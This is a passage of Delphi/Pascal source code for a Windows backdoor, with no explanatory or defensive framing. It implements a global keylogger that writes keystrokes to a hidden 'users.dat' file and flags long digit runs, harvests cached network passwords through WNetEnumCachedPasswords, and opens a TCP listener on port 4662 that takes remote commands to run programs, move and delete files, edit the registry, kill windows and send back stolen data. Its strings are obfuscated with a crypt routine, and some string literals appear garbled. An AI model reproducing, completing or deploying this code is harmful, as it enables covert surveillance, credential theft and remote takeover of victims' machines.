FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime); FileTimeToDosDateTime(LocalFileTime, LongRec(Time).Hi, LongRec(Time).Lo); Size := FindData.nFileSizeLow; Attr := FindData.dwFileAttributes; Name := FindData.cFileName; end; Result := 0; end; function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; const faSpecial = faHidden or faSysFile or faVolumeID or faDirectory; begin F.ExcludeAttr := not Attr and faSpecial; F.FindHandle := FindFirstFile(PChar(Path), F.FindData); if F.FindHandle <> INVALID_HANDLE_VALUE then begin Result := FindMatchingFile(F); if Result <> 0 then FindClose(F); end else Result := GetLastError; end; function FindNext(var F: TSearchRec): Integer; begin if FindNextFile(F.FindHandle, F.FindData) then Result := FindMatchingFile(F) else Result := GetLastError; end; //=== Registry call ================ constructor TRegistry.Create; begin RootKey := HKEY_CURRENT_USER; LazyWrite := True; end; function DataTypeToRegData(Value: Integer): TRegDataType; begin if Value = REG_SZ then Result := rdString else if Value = REG_EXPAND_SZ then Result := rdExpandString else if Value = REG_DWORD then Result := rdInteger else if Value = REG_BINARY then Result := rdBinary else Result := rdUnknown; end; function RegDataToDataType(Value: TRegDataType): Integer; begin case Value of rdString: Result := REG_SZ; rdExpandString: Result := REG_EXPAND_SZ; rdInteger: Result := REG_DWORD; rdBinary: Result := REG_BINARY; else Result := REG_NONE; end; end; function TRegistry.GetDataInfo(const ValueName: string; var Value: TRegDataInfo):boolean; var DataType: Integer; begin FillChar(Value, SizeOf(TRegDataInfo), 0); Result := RegQueryValueEx(CurrentKey, PChar(ValueName), nil, @DataType, nil, @Value.DataSize) = ERROR_SUCCESS; Value.RegData := DataTypeToRegData(DataType); end; function TRegistry.GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; var DataType: Integer; begin DataType := REG_NONE; if RegQueryValueEx(CurrentKey, PChar(Name), nil, @DataType, PByte(Buffer), @BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegGetDataFailed, [Name]); Result := BufSize; RegData := DataTypeToRegData(DataType); end; procedure TRegistry.PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); var DataType: Integer; begin DataType := RegDataToDataType(RegData); if RegSetValueEx(CurrentKey, PChar(Name), 0, DataType, Buffer, BufSize) <> ERROR_SUCCESS then // raise ERegistryException.CreateFmt(SRegSetDataFailed, [Name]); end; function TRegistry.GetDataSize(const ValueName: string): Integer; var Info: TRegDataInfo; begin if GetDataInfo(ValueName, Info) then Result := Info.DataSize else Result := -1; end; procedure TRegistry.WriteString(const Name, Value: string); begin PutData(Name, PChar(Value), Length(Value), rdString); end; procedure ReadError(const Name: string); begin // raise ERegistryException.CreateFmt(SInvalidRegType, [Name]); end; function TRegistry.ReadString(const Name: string): string; var Len: Integer; RegData: TRegDataType; begin Len := GetDataSize(Name); if Len > 0 then begin SetString(Result, nil, Len); GetData(Name, PChar(Result), Len, RegData); if (RegData = rdString) or (RegData = rdExpandString) then SetLength(Result, StrLen(PChar(Result))) else ReadError(Name); end else Result := ''; end; procedure TRegistry.CloseKey; begin if CurrentKey <> 0 then begin if LazyWrite then RegCloseKey(CurrentKey) else RegFlushKey(CurrentKey); FCurrentKey := 0; FCurrentPath := ''; end; end; procedure TRegistry.ChangeKey(Value: HKey; const Path: string); begin CloseKey; FCurrentKey := Value; FCurrentPath := Path; end; procedure TRegistry.SetRootKey(Value: HKEY); begin if RootKey <> Value then begin if FCloseRootKey then begin RegCloseKey(RootKey); FCloseRootKey := False; end; FRootKey := Value; CloseKey; end; end; function TRegistry.GetBaseKey(Relative: Boolean): HKey; begin if (CurrentKey = 0) or not Relative then Result := RootKey else Result := CurrentKey; end; function IsRelative(const Value: string): Boolean; begin Result := not ((Value <> '') and (Value[1] = '\')); end; function TRegistry.OpenKey(const Key: string; CanCreate: Boolean): Boolean; var TempKey: HKey; S: string; Disposition: Integer; Relative: Boolean; begin S := Key; Relative := IsRelative(S); if not Relative then Delete(S, 1, 1); TempKey := 0; if not CanCreate or (S = '') then begin Result := RegOpenKeyEx(GetBaseKey(Relative), PChar(S), 0, KEY_ALL_ACCESS, TempKey) = ERROR_SUCCESS; end else Result := RegCreateKeyEx(GetBaseKey(Relative), PChar(S), 0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, TempKey, @Disposition) = ERROR_SUCCESS; if Result then begin if (CurrentKey <> 0) and Relative then S := CurrentPath + '\' + S; ChangeKey(TempKey, S); end; end; destructor TRegistry.Destroy; begin CloseKey; inherited; end; //== Allocate windows === const InstanceCount = 313; Type TWndMethod = procedure(var Message: TMessage) of object; type PObjectInstance = ^TObjectInstance; TObjectInstance = packed record Code: Byte; Offset: Integer; case Integer of 0: (Next: PObjectInstance); 1: (Method: TWndMethod); end; type PInstanceBlock = ^TInstanceBlock; TInstanceBlock = packed record Next: PInstanceBlock; Code: array[1..2] of Byte; WndProcPtr: Pointer; Instances: array[0..InstanceCount] of TObjectInstance; end; var InstBlockList: PInstanceBlock; InstFreeList: PObjectInstance; function StdWndProc(Window: HWND; Message, WParam: Longint; LParam: Longint): Longint; stdcall; assembler; asm XOR EAX,EAX PUSH EAX PUSH LParam PUSH WParam PUSH Message MOV EDX,ESP MOV EAX,[ECX].Longint[4] CALL [ECX].Pointer ADD ESP,12 POP EAX end; function CalcJmpOffset(Src, Dest: Pointer): Longint; begin Result := Longint(Dest) - (Longint(Src) + 5); end; function MakeObjectInstance(Method: TWndMethod): Pointer; const BlockCode: array[1..2] of Byte = ( $59, { POP ECX } $E9); { JMP StdWndProc } PageSize = 4096; var Block: PInstanceBlock; Instance: PObjectInstance; begin if InstFreeList = nil then begin Block := VirtualAlloc(nil, PageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Block^.Next := InstBlockList; Move(BlockCode, Block^.Code, SizeOf(BlockCode)); Block^.WndProcPtr := Pointer(CalcJmpOffset(@Block^.Code[2], @StdWndProc)); Instance := @Block^.Instances; repeat Instance^.Code := $E8; { CALL NEAR PTR Offset } Instance^.Offset := CalcJmpOffset(Instance, @Block^.Code); Instance^.Next := InstFreeList; InstFreeList := Instance; Inc(Longint(Instance), SizeOf(TObjectInstance)); until Longint(Instance) - Longint(Block) >= SizeOf(TInstanceBlock); InstBlockList := Block; end; Result := InstFreeList; Instance := InstFreeList; InstFreeList := Instance^.Next; Instance^.Method := Method; end; { Free an object instance } procedure FreeObjectInstance(ObjectInstance: Pointer); begin if ObjectInstance <> nil then begin PObjectInstance(ObjectInstance)^.Next := InstFreeList; InstFreeList := ObjectInstance; end; end; var UtilWindowClass: TWndClass = ( style: 0; lpfnWndProc: @DefWindowProc; cbClsExtra: 0; cbWndExtra: 0; hInstance: 0; hIcon: 0; hCursor: 0; hbrBackground: 0; lpszMenuName: nil; lpszClassName: 'TPUtilWindow'); function AllocateHWnd(Method: TWndMethod): HWND; var TempClass: TWndClass; ClassRegistered: Boolean; begin UtilWindowClass.hInstance := HInstance; ClassRegistered := GetClassInfo(HInstance, UtilWindowClass.lpszClassName, TempClass); if not ClassRegistered or (TempClass.lpfnWndProc <> @DefWindowProc) then begin if ClassRegistered then Windows.UnregisterClass(UtilWindowClass.lpszClassName, HInstance); Windows.RegisterClass(UtilWindowClass); end; Result := CreateWindowEx(WS_EX_TOOLWINDOW, UtilWindowClass.lpszClassName, '', WS_POPUP {!0}, 0, 0, 0, 0, 0, 0, HInstance, nil); if Assigned(Method) then SetWindowLong(Result, GWL_WNDPROC, Longint(MakeObjectInstance(Method))); end; procedure DeallocateHWnd(Wnd: HWND); var Instance: Pointer; begin Instance := Pointer(GetWindowLong(Wnd, GWL_WNDPROC)); DestroyWindow(Wnd); if Instance <> @DefWindowProc then FreeObjectInstance(Instance); end; //==== Key_log========================= type PGlobalDLLData = ^TGlobalDLLData; TGlobalDLLData = record hHookHWnd: HWND; hKeyHook: HHOOK; end; const MMFileName = 'Users'; var MapHandle: THandle; GlobalData: PGlobalDLLData; tt,Logger:string; l:textfile; cc:byte; procedure OpenSharedData; var Size: integer; CreateFileMappingError: integer; begin Size := SizeOf( TGlobalDLLData ); MapHandle := CreateFileMapping( $FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MMFileName ); CreateFileMappingError := GetLastError; if ( MapHandle = 0 ) then exit; GlobalData := MapViewOfFile( MapHandle, FILE_MAP_ALL_ACCESS, 0, 0, Size ); if ( GlobalData = nil ) then begin CloseHandle( MapHandle ); exit; end; if ( ( MapHandle <> 0 ) and ( CreateFileMappingError <> ERROR_ALREADY_EXISTS ) ) then begin GlobalData^.hHookHWnd := 0; GlobalData^.hKeyHook := 0; end; end; procedure CloseSharedData; begin UnmapViewOfFile( GlobalData ); CloseHandle( MapHandle ); end; //function KeyCounter( code: integer; wParam: integer; lParam: integer ): lRESULT stdcall; function KeyCounter( code: integer; wParam: integer; lParam: integer ): LRESULT; stdcall; begin OpenSharedData; Result := CallNextHookEx( GlobalData^.hKeyHook, Code, wParam, lParam ); if ( code = HC_ACTION ) then begin if ( lParam > 0 ) then begin PostMessage( GlobalData^.hHookHWnd, UM_KEYHIT, wParam, 0 ); end; Result := 0; exit; end; end; procedure KeyHook_Start( hWin: HWND ); //stdcall; begin OpenSharedData; GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, KeyCounter, hInstance, 0 ); GlobalData^.hKeyHook := SetWindowsHookEx( WH_KEYBOARD, nil, hInstance, 0 ); GlobalData^.hHookHWnd := hWin; end; procedure KeyHook_Stop; //stdcall; begin OpenSharedData; UnHookWindowsHookEx( GlobalData^.hKeyHook ); CloseSharedData; end; procedure TLog.KeyIncrement( var Msg: TMessage ); const lettres: array[65..90] of Char = 'abcdefghijklmnopqrstuvwxyz'; chiffres: array[96..111] of Char = '0123456789*+ - /'; chiffres2: array[48..57] of Char = '0123456789'; var k:integer; s:string; begin k:=msg.WParam; //writeln(inttostr(k)+' : '+char(k)); if k in [96..111] then s:=chiffres[k] else if k in [65..90] then s:=lettres[k] else if k in [48..57] then s:=chiffres2[k] else if k in [112..123] then s:=#255 else if k in [33..40] then s:=#255 else if k = 0 then s:=#255 else if k > 255 then s:=#255 else if k = 16 then s:=crypt('=QKMCR9') else // if k = 17 then s:=crypt('=AWVI8') else // if k = 18 then s:=crypt('=COP;') else // if k = 20 then s:=crypt('=ABTV8') else // if k = 144 then s:=crypt('=LVI;') else // if k = 9 then s:=crypt('=vbf;') else // if k = 8 then s:=crypt('=<') else //<> if k = 223 then s:='!' else if k = 219 then s:=')' else if k = 187 then s:='=' else if k = 221 then s:='^' else if k = 186 then s:='$' else if k = 192 then s:='? else if k = 220 then s:='*' else if k = 188 then s:=',' else if k = 190 then s:=';' else if k = 191 then s:=':' else if k = 226 then s:='<' else if k = 222 then s:='? else if k = 13 then s:='? else if k = 32 then s:=' ' else if k = 46 then s:=crypt('=ffh;') else // if k = 45 then s:=crypt('=kmw;') else // s:='['+inttostr(k)+']'; logger:=logger+s; //write(s); if (s[1] in ['0'..'9']) or (s[1]=' ') or (s[1]='-') then inc(cc) else cc:=0; if (cc=13) then begin cc:=0; Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); Registre.WriteString('1','1'); Registre.Free; end; if length(logger)>200 then begin if not fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat rewrite(l); write(l,' '); closefile(l); end; assignfile(l,systemdir+crypt(']wpawu)lh~'));//\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; end; end; procedure TLog.LogCreate; var tyhwnd:thandle; begin cc:=0; tyhwnd := AllocateHwnd(KLog.KeyIncrement); KeyHook_Start(tyhwnd); end; procedure TLog.LogDestroy; begin KeyHook_Stop; {$I-} assignfile(l,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(l); append(l); write(l,logger); closefile(l); logger:=''; {$I+} end; //=== password connection function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall; var s1 : string; s2 : string; begin result:=true; SetLength(s1,pce^.cbResource); Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource); s1:=pchar(s1); SetLength(s2,pce^.cbPassword); Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword); s2:=pchar(s2); write(t,PChar(s1+' : '+s2+#13+#10)); end; procedure testEnumCachedPasswords; var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall; mpr : cardinal; begin mpr:=LoadLibrary('mpr'); if mpr<>0 then try WNetEnumCachedPasswords:=GetProcAddress(mpr,pchar(crypt('VLfp@hreJkhdhj_qbad{grd'))); //WNetEnumCachedPasswords if @WNetEnumCachedPasswords<>nil then begin try WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0); finally end; end; finally FreeLibrary(mpr) end; end; //===windows_control procedure killprocess(prname:string); var str : pchar; h:hwnd; begin str:=@(prname)[1]; h := FindWindow(nil,str); if h <> 0 then PostMessage(h, WM_QUIT, 0, 0); end; {function childproc(h:HWND):bool;stdcall; var tempstring: array [0..255] of char; begin GetClassName(h,classe,255); if (classe=nil) or (classe=string(' ')) then exit; if classe='Edit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; if classe='TEdit' then begin sendmessage(h,WM_GETTEXT,255,integer(@tempstring)); if tempstring<>'' then begin writeln(tempstring); counter:=counter+1; end; if counter=2 then writeln(string(klasse)); end; end; function AddTopLevelWindowsToList2(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin counter:=0; if pos('Netscape',klasse)<>0 then counter:=1; //+ ' (' + inttostr(h) if pos('Explorer',klasse)<>0 then counter:=1; //writeln(string(klasse)); if pos('Opera',klasse)<>0 then counter:=1; end; end; if counter=1 then EnumChildWindows(h,@childproc,8); end; } function AddTopLevelWindowsToList(h: HWND): BOOL; stdcall; begin If (GetWindowLong(h,GWL_HWNDPARENT)=0) then begin Getwindowtext(h,klasse,255); if klasse<>'' then begin write(t,string(klasse)+#13+#10); end; end; end; //=== information === procedure DoPassword(wParam:longInt); var pp:string; sock:tsock; begin assignfile(t,windowsdir+'~tmp..sys'); rewrite(t); append(t); testEnumCachedPasswords; closefile(t); assignfile(t,windowsdir+'~tmp..sys'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(Timeout); until pp=''; closefile(t); erase(t); end; procedure DoAbout(wParam:longInt); var SI:TSystemInfo; OsVer:TOSVersionInfoA; MS:TMemoryStatus; pp:string; begin ZeroMemory(@OsVer,SizeOf(OsVer)); ZeroMemory(@Si,SizeOf(Si)); ZeroMemory(@MS,SizeOf(MS)); MS.dwLength:=SizeOf(MS); OsVer.dwOSVersionInfoSize:=SizeOf(OsVer); GetVersionEx(OsVer); GetSystemInfo(Si); GlobalMemoryStatus(MS); case Win32Platform of WINDOWS.VER_PLATFORM_WIN32_WINDOWS : pp:='95'; WINDOWS.VER_PLATFORM_WIN32s : pp:='32'; WINDOWS.VER_PLATFORM_WIN32_NT : pp:='NT'; end; Sock.WriteString(wParam, PChar( crypt('R{pp`k=')+#13+#10+ //System: WSD.szDescription+#13+#10+ crypt('NQ9$')+IntToStr(OsVer.dwMajorVersion)+'.'+IntToStr(OsVer.dwMinorVersion)+#13+#10+ //OS: crypt('own$FVR2)')+IntToStr(Si.dwNumberOfProcessors)+#13+#10+ //num CPU: crypt('BRV$')+IntToStr(Si.dwProcessorType)+#13+#10+ //CPU crypt('SCN$')+IntToStr(Round(MS.dwTotalPhys/1048576))+#13+#10+ //RAM crypt('GpfaWGJ(')+IntToStr(Round(MS.dwAvailPhys/1024))+#13+#10+ //FreeRAM crypt('Wpw$')+IntToStr(Round(MS.dwTotalVirtual/1048576))+#13+#10+ //Vrt crypt('GpfaSts(')+IntToStr(Round(MS.dwAvailVirtual/1048576))+#13+#10+ //FreeVrt crypt('R{pp`k=(')+systemdir+'\'+#13+#10+ //System: crypt('Vkm`jq=(')+windowsdir+'\'+#13+#10+ //Window: WSD.szSystemStatus+' '+pp+#13+#10+ crypt('Impp?&')+getlocalhostname+#13+#10)); //Host: end; procedure DoShowDirectory(wParam:longInt;command:String); var sss,NomDuDossier,DossierTrouve,FichierTrouve:string; attributs,Resultat:Integer; SearchRec:TSearchRec; TailleDuFichier:integer; begin attributs:=6; sock.writestring(wParam,pchar(crypt('EkqWfgi2')+#13+#10)); //DirScan: sleep(timeout); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+'*.*',FaDirectory,SearchRec); while Resultat=0 do begin if (SearchRec.Name<>'.') and (SearchRec.Name<>'..') and ((SearchRec.Attr and faDirectory)>0) then begin DossierTrouve:=command+'\'+SearchRec.Name; NomDuDossier:=DossierTrouve; // ProcessMessages; end; if NomDuDossier<>sss then begin sleep(timeout); if NomDuDossier<>'' then NomduDossier:=NomDuDossier+'\'; sock.writestring(wParam,pchar(crypt('}F9')+NomduDossier+#13+#10)); //|D: end; sss:=NomDuDossier; Resultat:=FindNext(SearchRec); end; FindClose(SearchRec); If command[length(command)]='\' then command:=copy(command,1,length(command)-1); Resultat:=FindFirst(command+'\'+crypt('+,)'),Attributs,SearchRec); //*.* while Resultat=0 do begin //ProcessMessages; if ((SearchRec.Attr and faDirectory)<=0) then begin FichierTrouve:=command+'\'+SearchRec.Name; TailleDuFichier:=SearchRec.Size; //NomFichierComplet:=FichierTrouve; //DateHeureDuFichier:=SearchRec.Time; end; sleep(timeout); Resultat:=FindNext(SearchRec); sock.writestring(wParam,pchar(crypt('}D9')+FichierTrouve+'|'+inttostr(tailledufichier)+#13+#10)); //|F: end; FindClose(SearchRec); sleep(timeout); sock.writestring(wParam,pchar(crypt('}D9$YZo|dfWP')+#13+#10)); //|F: \\html\\ end; procedure DoStart(wParam:longInt); var ch:char; VolNameStr,Tip:String; LW:byte; Dsize,NamLen,syslen:integer; VolNameAry: array[0..255] of char; VolSer,SysFlags : DWord; begin Driv:=''; d:=0; ch:=#97; sock.WriteString(wParam, PChar(crypt('EmPpdts2')+#13+#10)); //DoStart: repeat d:=d+1; s:=ch+':\'; case getDriveType(pChar(s)) of DRIVE_FIXED: begin Tip:='0'; //Fixed HD NamLen:=255; SysLen:=255; if GetVolumeInformation(pChar(s), VolNameAry, NamLen, @VolSer, SysLen, SysFlags, nil, 0) then VolNameStr := StrPas(VolNameAry) else VolNameStr := ''; LW := ord(upcase(s[1])) - 64; DSize := DiskSize(LW); if (DSize <> -1) then DSize := disksize(LW) DIV 1024; //Driv:=Driv+'Drive: '+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; Driv:=crypt('}F9')+UpCase(Ch)+':\'+' <'+Volnamestr+'>'+'&'+Tip+'|'+IntToStr(DSize)+'|'+#13+#10; //|D: end; DRIVE_CDROM: begin Tip:='1'; //CD-ROM Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_RAMDISK: begin Tip:='2'; //RAM Disk Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+Tip+'|0|'+#13+#10; end; DRIVE_REMOVABLE: begin Tip:='3'; //Removable Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; DRIVE_REMOTE: begin Tip:='4'; //Network Driv:=Driv+'|D:'+UpCase(Ch)+':\'+' &'+tip+'|0|'+#13+#10; end; sleep(timeout); sock.WriteString(wParam, PChar(Driv)); driv:=''; inc(ch); until d=26; sleep(timeout); sock.WriteString(wParam, PChar(crypt(']^kphj[T')+#13+#10)); //\\html\\ end; procedure DoShowLog(wParam:longInt); var f:file of byte; p:longint; begin Registre:=TRegistry.create; Registre.RootKey:=HKEY_CLASSES_ROOT; Registre.OpenKey('.aft',true); if fileexists(systemdir+crypt(']wpawu)lh~')) then //\users.dat begin assignfile(f,systemdir+crypt(']wpawu)lh~')); //\users.dat reset(f); p:=filesize(f); sock.writestring(wParam,pchar(crypt('mmd>%')+Registre.ReadString('1')+' '+s+' '+inttostr(p)+#13+#10)); //log: closefile(f); end; Registre.Free; end; procedure DoExecFile(wParam:longInt;Command:String); var R:Integer; Params:String; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; R:=ShellExecute(0,nil,PChar(Command),PChar(Params),nil,SW_NORMAL); if R<=32 then sock.WriteString(wParam, PChar(ERROR+#13+#10)) else sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoProxy(wParam:longInt;Command:String); begin // end; procedure DoDeleteFile(wParam:longInt;Command:String); var St:String; Found:Integer; F:TSearchRec; begin Found:=FindFirst(Command,faAnyFile, F); St:=''; while Found = 0 do begin if DeleteFile(ExtractFilePath(Command)+F.Name) then St:=St+F.Name; Found:=FindNext(F); end; sock.WriteString(wParam, PChar(crypt('Dpbw`b''n`fn7')+St+#13+#10)); //Erased files: end; procedure DoSendFile(wParam:longInt;Command:String); var {f:file of byte;} f:HFile; st:string; NumRead:Integer; p:array[1..1024] of char; OfStr:TOFStruct; FF:TSearchRec; begin f:=OpenFile(PChar(Command),OFStr,OF_READ); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; FindFirst(Command,faAnyFile, FF); St:=IntToStr(FF.Size); sock.WriteString(wParam, PChar(crypt('mmb`cok2')+st+'|'+#13+#10)); //loadfil: sleep(timeout); repeat ReadFile(f,P,SizeOf(P),NumRead,nil); Sleep(timeout); if sock.WriteData(wParam,@P,numread)=0 then begin _lclose(f); exit; end; until (NumRead = 0); _lclose(f); end; procedure DoReceiveFile(wParam:longInt;Command:String); begin //done; end; procedure DoRenameFile(wParam:longInt;Command:String); var Params:String; f:file; begin Params:=''; if Pos('&',Command)<>0 then begin Params:=Copy(Command,Pos('&',Command)+1,255); Delete(Command,Pos('&',Command),255); end; assignfile(f,command); if params<>'' then Rename(f,params) else exit; sock.writeString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoCreateDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; MkDir(command); sock.WriteString(wParam, PChar(crypt('Bpfeqc''l`x1')+St+#13+#10)); //Create dir: end; procedure DoDeleteDirectory(wParam:longInt;Command:String); var St:String; begin St:=command; RmDir(command); sock.WriteString(wParam, PChar(crypt('Dpbw`&ca{0')+St+#13+#10)); //Erase dir: end; procedure DoWriteReg(wParam:longInt;Command:String); var Params,Params1,Params2,Params3:String; begin params:=''; params1:=''; params2:=''; params3:=''; if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params2:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params3:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); Registre.WriteString(params2,pchar(params3)); Registre.Free; sock.WriteString(wParam, PChar(ALLDONE+#13+#10)); end; procedure DoReadReg(wParam:longInt;Command:String); var params,params1,params2:string; begin if Pos('&',Command)<>0 then begin params:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; if Pos('&',Command)<>0 then begin params1:=copy(command,1,pos('&',command)-1); Delete(Command,1,pos('&',command)); end; Params2:=Copy(Command,1,length(command)); Registre:=TRegistry.create; if strtoint(params)=0 then Registre.RootKey:=HKEY_CLASSES_ROOT; if strtoint(params)=1 then Registre.RootKey:=HKEY_CURRENT_USER; if strtoint(params)=2 then Registre.RootKey:=HKEY_LOCAL_MACHINE; if strtoint(params)=3 then Registre.RootKey:=HKEY_USERS; if strtoint(params)=4 then Registre.RootKey:=HKEY_PERFORMANCE_DATA; if strtoint(params)=5 then Registre.RootKey:=HKEY_CURRENT_CONFIG; if strtoint(params)=6 then Registre.RootKey:=HKEY_DYN_DATA; if strtoint(params)>6 then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); Registre.Free; exit; end; Registre.OpenKey(params1,true); sock.WriteString(wParam, PChar('Data: '+Registre.ReadString(params2)+#13+#10)); Registre.Free; end; procedure DoKillProcess(wParam:longInt;Command:String); begin Killprocess(command); sock.WriteString(wParam, PChar(crypt('Jkohlh`2)')+command+#13+#10)); //Killing: end; procedure DoWindowsProcess(wParam:longInt); var pp:string; begin assignfile(t,windowsdir+'~tmp..dat'); rewrite(t); append(t); EnumWindows(@AddTopLevelWindowsToList,8); closefile(t); assignfile(t,windowsdir+'~tmp..dat'); reset(t); repeat readln(t,pp); Sock.WriteString(wParam, PChar(pp+#13+#10)); sleep(timeout); until pp=''; closefile(t); erase(t); end; procedure DoTimeout(wParam:longInt;Command:String); begin timeout:=strtoint(command); sock.WriteString(wParam, PChar('Timeout: '+command+#13+#10)); end; procedure TSock.OnServerRead(wParam,lParam:longInt); var Command:String; f:HFile; check:string; NumWrite:Integer; OfStr:TOFStruct; t1,t2,yy,taille:longint; Buffy:array[1..1024] of char; begin CountRB:=recv(wParam,Buffy,SizeOf(Buffy),0); if CountRB = 0 then exit; Command:=Copy(Buffy,Pos('/',Buffy)+1,Pos('HTTP',Buffy)-Pos('/',Buffy)-2); if command='' then exit; case command[1] of '0' : DoAbout(wParam); '1' : DoShowDirectory(wParam,copy(command,pos('?',command)+1,255)); '2' : DoStart(wParam); '3' : DoShowLog(wParam); '4' : DoExecFile(wParam,copy(command,pos('?',command)+1,255)); '5' : DoSendFile(wParam,copy(command,pos('?',command)+1,255)); '6' : DoDeleteFile(wParam,copy(command,pos('?',command)+1,255)); '7' : begin command:=copy(command,pos('?',command)+1,255); check:=copy(command,pos('|',command)+1,pos('&',command)-1); taille:=strtoint(check); delete(command,pos('|',command),length(command)); sock.WriteString(wParam, PChar('sendfil:'+#13+#10)); f:=OpenFile(PChar(Command),OFStr,OF_CREATE); if f=HFILE_ERROR then begin sock.WriteString(wParam, PChar(ERROR+#13+#10)); exit; end; yy:=0; t1:=round((taille+512)/1024); t2:=t1*1024; //nombre packet t1:=t2-taille; //end packet //t1:=taille-t2; repeat CountRB:=recv(wParam,Buffy,sizeof(Buffy),0); if countRB<>65535 then begin //writeln(taille); if taille<=1024 then begin WriteFile(f,Buffy,taille,NumWrite,nil); _lclose(f); exit; end; yy:=yy+countRB; //bug if yy=t2 then begin t1:=1024-abs(t1); //writeln(t1); WriteFile(f,Buffy,t1,NumWrite,nil); _lclose(f); exit; end else WriteFile(f,Buffy,countRB,NumWrite,nil); end; fillchar(buffy,sizeof(buffy),#0); until (yy>=taille) or (NumWrite = 0); _lclose(f); exit; //DoReceiveFile(wParam,copy(command,pos('?',command)+1,255)); end; '8' : DoRenameFile(wParam,copy(command,pos('?',command)+1,255)); '9' : DoCreateDirectory(wParam,copy(command,pos('?',command)+1,255)); 'A' : DoDeleteDirectory(wParam,copy(command,pos('?',command)+1,255)); 'B' : DoWriteReg(wParam,copy(command,pos('?',command)+1,255)); 'C' : DoReadReg(wParam,copy(command,pos('?',command)+1,255)); 'D' : DoProxy(wParam,copy(command,pos('?',command)+1,255)); 'E' : DoKillProcess(wParam,copy(command,pos('?',command)+1,255)); 'F' : DoWindowsProcess(wParam); 'G' : DoPassword(wParam); 'H' : DoTimeout(wParam,copy(command,pos('?',command)+1,255)); end; // closesocket(wParam); processmessages; end; //=== Process OnSocketMessage === procedure OnSocketMessage(Msg,wParam,lParam:longInt); begin if ( LOWORD(lParam) and FD_ACCEPT = FD_ACCEPT) then Sock.OnServerAccept(wParam,lParam); if ( LOWORD(lParam) and FD_CLOSE = FD_CLOSE) then sock.OnServerClose(wParam,lParam); if ( LOWORD(lParam) and FD_READ = FD_READ) then sock.OnServerRead(wParam,lParam); end; //=== OnInitSocket === //==TCP procedure InitSocket; begin WSAStartup($101,WSD); Port:=4662; Server := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); // Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= AF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); bind(Server,Addr,SizeOf(Addr)); WSAAsyncSelect(Server,Handle,WM_MY_SOCK_MESSAGE, FD_ACCEPT + FD_CLOSE + FD_READ); // listen; listen(Server,5); end; //==UDP {procedure InitSocket2; begin si:=SizeOf(integer); WSAStartup($101,WSD); Port:=136; Server := Socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); if Server = -1 then WSACleanup; Addr.sin_family:= PF_INET; Addr.sin_addr.s_addr:=INADDR_ANY; Addr.sin_port:=htons(Port); setsockopt(Server,SOL_SOCKET,SO_BROADCAST,@i,si); 